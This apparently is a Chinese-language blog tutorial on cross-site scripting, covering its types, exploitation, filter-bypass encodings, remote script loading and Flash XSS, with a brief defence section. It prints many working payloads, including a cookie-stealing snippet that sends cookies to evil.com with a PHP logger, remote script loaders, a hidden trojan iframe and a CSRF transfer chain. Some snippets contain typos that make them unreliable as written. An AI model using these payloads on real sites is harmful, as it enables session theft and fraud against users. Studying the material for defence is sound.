xss(跨站腳本攻擊)詳解

1. xss簡介


1.1 概念


​ 跨站腳本攻擊,英文全稱Cross Site Script.

​ xss攻擊,通常指黑客通過"HTML注入"篡改了網頁,插入了惡意的腳本.從而在用戶瀏覽網頁時,控制用戶瀏覽器的一種攻擊.

1.2 成因


​ 網站對用戶的輸入不加以處理,直接輸入到頁面,就有可能造成xss.

​ 比如下例:

<?php
	$input = $_GET['parm'];
	echo $input;
?>

​ 若用戶輸入<script> alert("xss");</script> 就可以在頁面彈窗

常見場景


  • 標籤內的xss <div>${Xss}<div/>

  • 屬性裏面的xss<div class="${XSS}"></div> <a href="${xss}"><a>

  • 事件中的xss<img src=x onerror="${xss}">

  • css裏面的xss

    <style type="text/css">
        body{background-image:url(${xss});}
    </style>
    ${xss}:javascript:alert(/xss/)
    

    <div style="background-image:url(javascript:alert('XSS'))">

    <style>
      body {background-image: url("javascript:alert('XSS')");}
    </style>
    

    IE5及其以後版本支持在CSS中使用expression,使用expression同樣可以觸發XSS漏洞:

    <div style="width: expression(alert('XSS'));">

    <img src="#" style="xss:expression(alert(/XSS/));">
    <style>
      body {background-image: expression(alert("XSS"));}
    </style>
    
    <div style="list-style-image:url(javascript:alert('XSS'))">
    <img style="background-image: url(javascript:alert('XSS'))">
    

    @import和link方式都可以輕鬆地導入外部含有XSS代碼的樣式表文件:

    <link rel="stylesheet" href="http://www.evil.com/attack.css">
    <style type='text/css'>@import url(http://www.evil.com/xss.css);</style>
    

    @import還有一個特性,就是能直接執行JavaScript代碼:

    <style> @import 'javascript:alert("XSS")';</style>

  • Script標籤

    <script>
        var username = "$username";
    </script>
    $username=1" alert(/xss/);//
    
  • <input name="1" value="" > 輸入的單引號/雙引號被轉義 標籤內進行突破

    oninput=alert(1) //

    onchange=alert(1)//

1.3分類


​ xss根據效果不同,分成以下幾類

  • 反射型xss

    用戶的輸入,最終會由瀏覽器反饋給用戶

    http://www.test.com?xs=<script>alert("1");</script>

    後端頁面:

    <?php
    	$input = $_GET['xs'];
    	echo $input;
    ?>
    

    數據由服務端處理,傳回來,最終又反饋到瀏覽器

    反射型xss利用通常需要黑客誘導用戶點擊惡意鏈接等.

  • 儲存型xss

    儲存型xss會把用戶輸入的數據儲存到服務端.任何別的用戶若訪問了帶有儲存型xss惡意腳本的資源,都會受到侵害.

    比較常見的場景: 黑客寫下一篇帶有惡意JavaScript代碼的博客文章,評論,留言.

    所以訪問該文章,評論,留言的用戶,瀏覽器都會執行這段惡意代碼

  • Dom型xss

    Dom型xss效果與反射型xss類似.成因比較特別.不經過服務端處理,而是由前端的js腳本將用戶輸入插入到頁面

    比如:

    <script>
        function test()(
    		var str = document.getElementById("text").value;
    		document.getElementById("x").innerHTML = str;
    	)
    </script>
    
    <html>
        <input type="text" id="text" value=""/>
        <div id="x">
            a
        </div>
    </html>
    

2.xss攻擊


2.1 利用方式


  • 通過xss加載惡意代碼

http://www.test.com?xss=<script src=http://www.a.com/1.js></script>

  • xss竊取cookie

    var img = document.createElement("img");
    imr.src = "http://www.evil.com?"+escape(document.cookie);
    <!--escape對字符進行編碼-->
    document.body.appendChild(img);
    

    這段代碼在請求資源時,會攜帶編碼後的cookie進行請求,審查evil.com的日誌即可查看到cookie

    也可以在服務器接收

    <?php
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt", "a");
    fwrite($log, $cookie ."\n");
    fclose($log);
    ?
    

    可以利用cookie進行訪問網站

  • 會話劫持SESSION

    xss讓管理員添加用戶等(構造POST請求,AJAX等)

  • 獲取webshell:利用管理員權限寫一句話木馬等

  • xss構造GET請求

    比如搜狐網站刪除某文章的鏈接是:

    ​ http://blog.sohu.com/manage/entry.do?m=delete&d=156713012

    var img = document.createElement("img");
    imr.src = "	http://blog.sohu.com/manage/entry.do?m=delete&d=156713012";
    document.body.appendChild(img);
    

    即成功構造了GET請求

  • xss構造POST請求

    • 構造表單的方式

      var f = document.createElement("form");
      f.action = "";
      f.method = "post";
      document.body.appendChild(f);
      var i1 = document.createElement("input");
      i1.name = "ck";
      i1.value = "JiUY";
      f. appendchild(i1) :
      var i2. document.createElement ("input");
      i2.name = "mb_text";
      i2.value = "testtesttest";
      f. appendChild(i2);
      
      f.submit();
      
    • 直接寫HTML代碼

      var dd = document.creatElement("div");
      document.body.appendChild(dd);
      dd.innerHTML = 'payloadForm(id=xssform)'
      
      doocument.getElementById("xssform").submit();
      
    • XMLHttpRequest()等

  • xss釣魚攻擊

  • 網頁掛馬

    <iframe src=http://www.evil.com/trojan.html width=0 height=0></iframe>
    
  • DOS和DDOS

    <script>for (;;) alert("XSS"); </script>
    <meta http-equiv="refresh" content="0">
    
  • 識別用戶瀏覽器,操作系統,安裝軟件

  • xss Worm

2.2 較高級的利用姿勢


2.2.1 CSRF+XSS組合拳


比如某個網站轉賬功能:

<form action="transfer.php" method="GET">
  賬號:<input type="text" name="toBankId" /></br>
  金額:<input type="text" name="money" /></br>
<input type="submit" value="提交" />
</form>

這時候精心構造鏈接: http://www.a.com/transfer.php?toBankId=99&money=1000

鏈接發送給受害者即可轉賬.

如果該網站某處還有xss或者第三方網站上有xss,就不必可以誘導別人點上面的鏈接

<img src=http://www.a.com/transfer.php?toBankId=99&money=1000>

2.2.2 Hacking JSON


JSON概述

JSON(JavaScript Object Notation)是Web應用中最常見的信息傳輸格式,和XML一樣,JSON是存儲和交換文本信息的一種語法。

其格式表示爲“名/值對”,如下所示:

“name” : “John”

值可以是以下數據類型: 數字(整數或浮點數); 字符串(在雙引號中);邏輯值(true 或 false);數組(在方括號中);對象(在花括號中);NULL;

var myJSON ={ "firstName" :"John",
  "lastName" :"Doe"};
document.writeln(myJSON.firstName); // 輸出John
document.writeln(myJSON.lastName); // 輸出Doe
var employees = [
{ "firstName":"Bill" , "lastName":"Gates" },
{ "firstName":"George" , "lastName":"Bush" },
{ "firstName":"Thomas" , "lastName": "Carter" }
];
employees[0].lastName;//返回Gates
跨域JSON注入

  • JSON格式的數據能被執行:

​ 由於JSON在語法上是JavaScript的子集合,所以一般可以使用eval()作爲讀取數據的方式,但是eval()方法非常不安全:

如構造:name:<img src=javascript:alert(1)>提交給服務器

JSON格式:var userInfo = {"name":"$name"};

其他用戶打開該頁面將受到攻擊

  • 回調

在Web應用中,通過Ajax技術處理JSON數據的方式被稱作“回調法”

當JSON數據文件被加載完成後都會調用一個特別函數,該函數以JSON數據作爲參數。這種回調法被廣泛地應用在第三方JSON數據處理中。

某些服務能讓用戶指定調用函數的名字,但用戶可以通過URL改變該函數名,具體如下所示:

http://www.a.com/feed.php?format=JSON&callback=processJSON

比如用下面的函數處理

<div class="code">
<pre><script>
  function profileCallback(result) {
  document.write(result.profile[0].name);
  document.write("<br>");
  document.write(result.profile[0].email);
}

若惡意構造JSON 數據

profileCallback({"profile":[{"name":"Jack","email":"<script>alert('JSONXSS');</script>"}]})

即可彈出xss

JSON Hijacking

  • JSON Hijacking也叫做 JavaScript Hijacking,該漏洞允許未經授權的攻擊者從一個易受攻擊的應用程序中讀取數據
  • 攻擊原理:
    • 受害者登錄了含有漏洞的A網站
    • 假如A網站的用戶信息爲JSON格式
    • 受害者訪問惡意網站,惡意網站向A網站提交請求,申請受害者私密信息
    • 配合CSRF,得到用戶賬號密碼等數據,繞過瀏覽器同源策略

在這裏插入圖片描述
在這裏插入圖片描述

2.2.3 HTTP Response Splitting


HTTP響應拆分(HTTP Response Splitting,HRS)也被稱作CRLF注射攻擊(CRLF Injection Attack),是指瀏覽器用戶能隨意地添加額外的HTTP 報頭信息到 HTTP數據包中,然後通過自定義HTTP頭創造任意的內容並返回用戶瀏覽器中

  • CRLF Injection原理

HTTP Header的定義基於Key: Value的結構,並且每一行由“\r\n”或者“CR”和“LF”分割。這就意味着,當用戶提交包含“\r\n”的數據時,如果Web服務器和應用程序沒有進行過濾而直接返回給 HTTP Headers,那麼攻擊者就可以任意設置一些特殊的 HTTP 頭,或者直接修改 HTTP Response的內容。

假設有如下一段腳本代碼:

<%
nameValueCollection request = Request.QueryString;
Response.Cookies["userName"].Value = request["text"];
%>

正常請求: http://www.test.com/demo.aspx?text=test會用text來設置cookie[“username”]

惡意請求: http://www.test.com/demo.aspx?text=a%0D%0ASet-Cookie%3A%20HackedCookie=Hacked

除了設置cookie[“username”]=a,還會設置cookie[“HackedCookie”] = Hacked

注入入HTML/JavaScript:

http://www.test.com/page.php?page=
Content-Type: text/html
HTTP/1.1 200
OK
Content-Type: text/html

<html>Hacker Content</html>

3. xss攻防


3.1 xss Bypass


3.1.1 雜七雜八的繞過


  • 大小寫繞過zz
  • 雙寫繞過
  • html實體編碼繞過(在href裏)<a href="input">link</a>

過濾了javascript,用html實體編碼和url雙重編碼繞過(先html編碼再url)

  • 僅過濾 ’ 或 " : ‘閉合" , "閉合’

<input name="1" value="" > 輸入的單引號/雙引號被轉義 標籤內進行突破

oninput=alert(1) //

onchange=alert(1)//

  • <input name="q" value=""> 輸入value; 過濾on 和script

僞協議繞過:"><a href='javascript:alert(1)'>click<a>

支持僞協議的屬性 href,lowsrc,bgsound,background,action,dynsr

  • 空格實體編碼–> %0a %0D 等替代空格繞過
  • alert(數字)不需要引號
  • ()過濾 用``替代
  • document.write()繞過 (過濾 () = )

document.write(payload) payload進行Unicode編碼可以繞過某些過濾

  • 上述情況下再把 . 過濾

setTimeout()函數 setTimeout(jscode) 會執行裏面的js代碼

或者top()函數top["document"]["write"]

  • 對網站過濾: 公網ip->十進制繞過 127.0.0.1-> 2130706433

  • 利用空格、回車和Tab鍵繞過限制

    如: <img src="javas cript:alert(/xss/)" width=100>

    引擎沒有把換行符解釋爲語句的終止符,因爲到換行處並不是一個完整的語句,JavaScript 會繼續處理髮現的內容,直到遇到一個分號或發現語句完整爲止。

  • 對標籤屬性值轉碼(標籤內)

    • 十進制/16進制

    HTML中屬性值本身支持ASCII碼形式。

    根據HTML的屬性值支持ASCII碼的特性,把XSS代碼:
    <img src="javascript:alert('XSS');">
    替換成:
    <img src="javascrip&#116&#58alert(/XSS/);" >

    t–>ascii碼 是 116–> &#116 / &#00000016 都是一樣的

    :–>ascii碼 是58 --> &#58

    還可以把&#01、&#02等字符插入到JavaScript或Vbscript的頭部,另外,Tab符的ASCII碼&#9、換行符的&#10、回車符的&#13可以被插入到代碼中任意地方。

  • 全角字符

  • IMG標記和 src屬性之間沒有空格

    <img/src="mars.png"alt="mars">
    <img/src="javascript:alert('XSS');">
    

    此段代碼在 IE 6中能成功執行

  • /**/

    樣式表中的/**/會被瀏覽器忽略,因此可以運用它來註釋字符,通過插入混淆字符繞過過濾

    <XSS STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
    <div style="wid/****/th: expre/*XSS*/ssion(alert('XSS'));">
    <scriScriptpt>alert('XSS')</script>
    <img src="java/*/*javascript*/script/*javascript*/*/script:alert();" >
    <img src="java/*script:alert();"><img src="javaa*/script:alert();">
    <img src="java/*exp/**/script:alert();*/ression(alert(1))">
    <img style="width: exp/*ression(alert());" src="java/*exp/**/script:alert();*/ression
    
  • \ 和 \0

    樣式標籤中的\和結束符\0也是被瀏覽器忽略的

    @\0im\port’\0ja\vasc\ript:alert(“xss”)’;
    @\i\0m\00p\000o\0000\00000r\000000t"url";

  • eval()函數

    該函數可計算字符串,並執行其中的JavaScript代碼

    • 配合16進制

      我們可以使用\連接十六進制字符串,然後使用eval()函數執行十六進制字符串形式的腳本;

    如對alert(‘XSS’)進行十六進制轉碼後得到:\61\6c\65\72\74\28\27\58\53\53\27\29

    <script>
    eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
    </script>
    
    • 配合10進制:

      eval()也可以執行 10 進制形式的腳本,但需要配合 String.fromCharCode()函數使用。

      string.formcharcode()用於將字符轉爲ASCII值

      例如一個正常形式的XSS示例爲:<img src="javascript:eval(alert('XSS'))">

      結合使用eval()和String.fromCharCode()函數後變成:

      <img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">

  • 樣式表也支持分析和解釋\連接的十六進制字符串形式,瀏覽器能正常解釋

    <style>
    BODY { background: url(http://127.0.0.1/xss.gif) }
    </style>
    
    <style>
    BODY { background:
    \75\72\6c\28\68\74\74\70\3a\2f\2f\31\32\37\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\66\
    29 }
    </style>
    

    style屬性中的javascript、expression等字符一般會被程序過濾,但經過十六進制編碼後則可以逃避過濾

    <div
    style="xss:&#101;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;(alert(1));"><
    /div>
    
  • JScript Encode(IE)

    如 alert(1)使用 JScript Encode加密的結果爲:
    #@^CAAAAA==C^+.D`8#mgIAAA==^#@
    經XSS Expliot後變爲:

    <script language="JScript.Encode">
    #@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
    </script>
    
    <iframe onload=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@>
    

3.1.2 跨站拆分法繞過長度限制


著名安全研究員劍心曾發佈一篇文章叫做《瘋狂的跨站之行》,裏面講述了一種特別的XSS利用技巧,就是當應用程序沒有過濾XSS關鍵字符(如<、>)卻對輸入字符長度有限制的情況下,如何使用“拆分法”執行跨站腳本代碼。
當時劍心發現某個網站存在 XSS 漏洞,漏洞出現在評論的聯繫方式處,但是,這處只能寫入30個字符長度,必須的<script></script>就佔用了17個字符,剩下的只有13個字符可以支配,如此一來,這個XSS只能用來彈出一個對話框。

幸運的是,網站評論處可以重複留言,也就是說可以提交多個腳本標記,於是劍心就巧妙地構造出以下Expliot:

<script>z='document.'</script>
<script>z=z+'write("'</script>
<script>z=z+'<script'</script>
<script>z=z+' src=ht'</script>
<script>z=z+'tp://ww'</script>
<script>z=z+'w.shell'</script>
<script>z=z+'.net/1.'</script>
<script>z=z+'js></sc'</script>
<script>z=z+'ript>")'</script>
<script>eval(z)</script>

上述代碼的作用是引入一個字符串變量z,並且將下行代碼拆分開來:

document.write('<script src=//www.shell.net/1.js></script>')

3.2 xss防禦


  • HttpOnly 防止竊取cookie

js無法讀取有HttpOnly標記的Cookie的值

一個Cookie的使用過程如下:
Step1:瀏覽器向服務器發起請求,這時候沒有Cookie。
Step2:服務器返回時發送Set-Cookie頭,向客戶端瀏覽器寫入Cookie。
Step3:在該Cookie到期前,瀏覽器訪問該域下的所有頁面,都將發送該Cookie。

HttpOnly 在Set-Cookie時標記

  • 將 & # " ’ < > 等符號處理爲HTML實體
  • 黑名單,過濾一些字符
  • 白名單:JSOUP(基於JAVA的HTML解析器),可以添加一些白名單規則
  • 對輸出編碼: Html編碼,js編碼,VBscript編碼,CSS編碼,SQL編碼
  • 過濾expression、javascript、import等敏感字符的樣式表
  • 對用戶輸入進行嚴格的驗證:電話號碼格式等

4. Shellcode的調用


4.1動態調用遠程 JavaScript


  • <script>標籤動態調用遠程JavaScript

http://www.bug.com/veiw.php?sort="><script src=http:// www..evil.com/xss.js></script><

  • 運用基於DOM的方法創建和插入節點
var s=document.createElement("script");
s.src="http://www.evil.com/xss.js";
document.getElementsByTagName("head")[0].appendChild(s);

4.2 使用window.location.hash


  • location 是 JavaScript 管理地址欄的內置對象,比如 location.href 用來管理頁面的 URL,用location.href=url就可以直接將頁面重定向URL

  • 而location.hash則可以用來獲取或設置頁面的標籤值。比如 http://domain/#admin 的 location.hash="#admin",利用這個屬性值可以做一件非常有意義的事情。

  • 無效的標籤並不會影響頁面加載

在這裏插入圖片描述

  • 示例:

    http://www.bug.com/veiw.php?sort="><script>eval(location.hash.subst
    r(1))</script>#alert('xss')
    

    substr()可在字符串中抽取從 start 下標(這裏是 1 )開始的指定數目的字符,所以location.hash.substr(1) 的作用是抽取“#”符號後面的字符,即alert(‘xss’);

    而eval()函數用來計算某個字符串,並執行其中的 JavaScript 代碼

    那麼,eval(location.hash.substr(1))的功能就是執行 Url的#之後的JavaScript代碼,通過這個技巧,就能先把Shellcode寫到地址參數中再執行。

    4.3 XSS Downloader


​ 打造一個XSS downloader(XSS下載器),事先把Shellcode寫在網站的某個頁面,再利用XMLHTTP控件向網站發送HTTP請求(POST或GET),然後執行返回的數據

如:

onload="var t=document.body.
innerHTML;var s=t.indexOf(+++)+3;var e=t.indexOf(---);eval(unescape(t.substring
(s,e)));">

indexOf()函數計算BOF(+++)EOF(---)的位置,再用substring()函數方法取出字符串,最後用unescape()函數方法解碼執行。
別處存有+++    xss   ---

4.4 一些別的儲存技術


  • cookie中
  • 等等

5 Flash 安全


5.1 Flash 簡介


Adobe Flash是一種交互式矢量多媒體技術,被廣泛使用在Web網站中.

遊戲和視頻播放使用尤爲多

Flash Player 與SWF: SWF(Shock Wave Flash)是 Flash的專用格式,使用Flash Player便能運行SWF文件, SWF文件也可以直接嵌入到網頁中執行

5.2 Flash的嵌入


在HTML頁面中嵌入Flash,一般使用<object><embed>標籤。

  • <embed>
<html>
  <body marginwidth="0" marginheight="0">
   <embed width="100%" height="100%" name="plugin" src="test.swf" type="application/x-shockwave-flash"/>
 </body>
</html>
  • <object>

這種方式需使用W3C規範中標準的object元素。<object> 標籤用於引入對象,比如圖像、音頻、視頻、Java Applets、ActiveX、PDF以及 Flash,用於 IE系列或者其他支持Activex控件的瀏覽器。

<html>
  <body marginwidth="0" marginheight="0">
   <object width="100%" height="100%" data="test.swf" type="application/x-shockwave-flash">
    <param name="src" value="test.swf" />
    <param name="quality" value="high" />
  </object>
 </body>
</html>

5.3 getURL() & XSS


  • getURL()在ActionScript 2支持但是ActionScript 3中不支持
getURL(url:String, [window:String, [method:String]]) : Void

url:String:從該處獲取文檔的URL

window:String [可選]:指定應將文檔加載到其中的窗口或HTML幀,您可輸入特定窗口的名稱,或從下面的保留
目標名稱中選擇:

​ _self 指定當前窗口中的當前幀
 _blank 指定一個新窗口
 _parent 指定當前幀的父級
 _top指定當前窗口中的頂級幀

method:String [可選]:用於發送變量的GET或POST方法,如果沒有變量則省略此參數

使用getURL()可以使頁面重定向到函數指定的頁面 : getURL(“http://www.a.com”);

若test.com下的一個1.swf內有getURL(test,"_top")

如下可觸發XSS

http://www.test.com?a=javascript:alert(document.cookie)

getURL(javascript:code, ‘_self’)
getURL(“javascript:alert(document.cookie)”);

一篇不錯的Flash xss總結: https://www.secpulse.com/archives/44299.html

6.xss工具


7.xss資源


書籍推薦:XSS跨站腳本攻擊剖析與防禦
跨站點腳本(XSS)速查表: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

xss專家博客: https://brutelogic.com.br/blog/

AttackApi: https://www.gnucitizen.org/blog/attackapi/

(利用: https://blog.csdn.net/agent_peakey/article/details/44819477 )

BeEF: https://github.com/beefproject/beef/wiki

( 簡單使用:https://www.cnblogs.com/zcz1995/articles/10817949.html )

(高級利用: https://www.freebuf.com/articles/web/175755.html )

xss挑戰wp https://blog.csdn.net/tutucoo/article/details/104151403

chrome插件漏洞造成的 exifviewer xss: http://blog.sina.com.cn/s/blog_722cb9a90102wl2c.html

一個師傅的靶場,獨孤九劍: [wp] https://422926799.github.io/posts/6bcf9b8f.html

事件型的跨站腳本:

onResume ; onReverse ; onRowDelete; onRowInserted; onSeek; onSynchRestored; onTimeError onTrackChange; onURLFlip; onRepeat; onMediaComplete; onMediaError; onPause; onProgress; onOutOfSync; oncontrolselect; onlayoutcomplete; onafterprint; onbeforeprint; ondataavailable; ondatasetchanged; ondatasetcomplete; onerrorupdate; onrowenter; onrowexit; onrowsdelete; onrowsinserted; onselectionchange; onbounce; onfinish ; onstop ; onresizeend

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章